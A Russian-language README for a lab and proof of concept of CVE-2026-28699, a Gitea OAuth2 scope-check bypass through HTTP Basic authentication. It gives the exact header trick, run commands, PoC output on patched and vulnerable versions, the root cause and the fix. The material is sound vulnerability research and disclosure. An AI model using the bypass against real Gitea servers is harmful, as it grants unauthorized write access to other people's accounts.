
Лабораторная работа + анализ для CVE-2026-28699: Обход проверки областей OAuth2 в Gitea через базовую аутентификацию HTTP
Токен доступа OAuth2 Gitea, ограниченный только read:user, может выполнять полные операции записи, если он отправлен как Authorization: Basic base64(<token>:x-oauth-basic), а не как Bearer-токен. Проверка области пропускается для любого токена, переданного через Basic auth.
Затронуты: <= 1.26.1. Исправлено в 1.26.2.
Уведомление: GHSA-9r5x-wg6m-x2rc. CWE-863. Серьёзность: высокая.
Полное описание: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py поднимает временную Gitea на SQLite в временной директории системы, выполняет поток кода авторизации OAuth2 для выпуска токена только с read:user, затем вызывает конечную точку записи как через Bearer, так и через Basic и выводит результат. Установите POC_DEBUG=1, чтобы увидеть шаги потока аутентификации.
Vulnerable 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
Patched 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
Файл services/auth/basic.go устанавливал IsApiToken, но не ApiTokenScope для токенов OAuth2. Промежуточное ПО tokenRequiresScopes досрочно завершается, если область отсутствует, поэтому ничего не проверяется. Исправление в 1.26.2 добавляет недостающую строку store.GetData()["ApiTokenScope"] = accessTokenScope.
Для обучения и авторизованного тестирования безопасности: ваша собственная лаборатория, машины CTF и HTB, цели в рамках программы bug bounty. PoC запускает свою собственную одноразовую Gitea, поэтому направляйте её только на то, что вам принадлежит.
| Представление аутентификации | IsApiToken | ApiTokenScope | область применена? |
|---|
| Токен OAuth2 через Bearer | true | установлен | да |
| Токен OAuth2 через Basic | true | отсутствует | нет (отказ в открытом состоянии) |
| Персональный токен доступа | true | установлен | да |
| Файл | Назначение |
|---|
WRITEUP.md | Анализ первопричин, влияние, исправление, обнаружение |
fetch_binaries.py | Скачивает бинарные файлы 1.26.1 / 1.26.2 для вашей ОС/архитектуры |
poc.py | Развёртывает Gitea, выпускает токен read:user, тестирует Bearer vs Basic |
requirements.txt | requests |